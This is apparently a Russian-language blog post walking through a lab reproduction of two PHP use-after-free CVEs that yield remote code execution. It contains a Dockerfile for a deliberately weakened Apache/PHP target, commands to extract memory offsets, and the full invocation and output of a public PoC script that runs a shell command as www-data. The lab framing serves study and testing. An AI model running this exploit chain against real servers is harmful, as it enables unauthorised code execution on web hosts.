Привет! 🖱 Вчера вышли cve-2026-109618 и cve-2026-109619 и обе c Severity: 9.2. С их помощью в php возможно реализовать несколько векторов выполнения кода, основной из которых - Use After Free для дальнейшего выполнения system. Значение CVSS именно 9.2, а не 10.0 из-за того, что для успешной эксплуатации нужно знать смещения до нескольких участков памяти. На гитхабе есть популярный PoC - https://github.com/eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC, но его значения смещения заточены под конкретную версию php (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12) Также сделали и лабораторный стенд - https://github.com/dinosn/php-cve-2026-10961x-lab-poc В качестве TLDR я сделал свой небольшой стенд: Шаг 1. Создаем Dockerfile FROM php:8.4.26-apache # Копируем php.ini с нужными лимитами RUN echo "memory_limit=8M" > /usr/local/etc/php/conf.d/zz-php2shell.ini && \ echo "post_max_size=64M" >> /usr/local/etc/php/conf.d/zz-php2shell.ini && \ echo "display_errors=On" >> /usr/local/etc/php/conf.d/zz-php2shell.ini # Убеждаемся, что Apache prefork и один воркер (для предсказуемости) RUN echo "ServerLimit 1" >> /etc/apache2/apache2.conf && \ echo "StartServers 1" >> /etc/apache2/apache2.conf && \ echo "MaxRequestWorkers 1" >> /etc/apache2/apache2.conf # Простая страница-цель RUN echo '<?php echo "OK"; ?>' > /var/www/html/index.php Создаем образ Docker: docker build -t php2shell-target . Запускаем контейнер: sudo docker run --rm --name php_vuln -p 8080:80 php2shell-target Шаг 2. Ищем смещения docker exec php_vuln bash -c "nm -D /usr/lib/apache2/modules/libphp.so | grep -E ' zval_ptr_dtor$'" 000000000065eb60 T zval_ptr_dtor # Вывод Немного математики: * zval_ptr_dtor = 0x65eb60 * zif_system = 0x465370 (Уже выявлено для образа php:8.4.26-apache. Можно узнать через gdb) * DELTA_CALL = zval_ptr_dtor - zif_system = 0x65eb60 - 0x465370 = 0x1F87F0 Шаг 3. Вызываем полезную нагрузку из репозитория выше (php2shell-CVE-2026-109618-CVE-2026-109619-PoC) с параметрами смещения $ python3 poc_109618.py -u http://127.0.0.1:8080/index.php \ --dtor-offset 0x65eb60 \ --zif-offset 0x465370 \ -c 'id>p1.txt' \ --fetch /p1.txt [*] target http://127.0.0.1:8080/index.php (cmd='id>p1.txt') [*] offsets: zif=0x465370 dtor=0x65eb60 htdata=0x690d8 [*] rotating worker over HTTP [*] stage 1: heap leak (attempt 1/3) [+] chunk base = 0x7f6ce7000000 [*] rotating worker over HTTP [*] stage 2: libphp leak (attempt 1/3) [+] libphp base = 0x7f6ce8cfc000 [*] rotating worker over HTTP [*] stage 3: HTDATA=0x7f6ce70690d8 ZIF=0x7f6ce9161370 [+] W3 attempt 1 PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data) Вывод Про Migitation всё подробно описано в той же репе с PoC, там есть и патч для php, и конфиги блокировки нагрузки для веб-серверов. Также WAF уже могут блокировать дефолтную нагрузку Если после прочтения вы поняли только что такое php и CVE, то предлагаю ознакомится с постом про переполнение стека - https://read.pyfffe.online/posts/pwn-playing/. Там простым языком написано про память и про уязвимость переполнения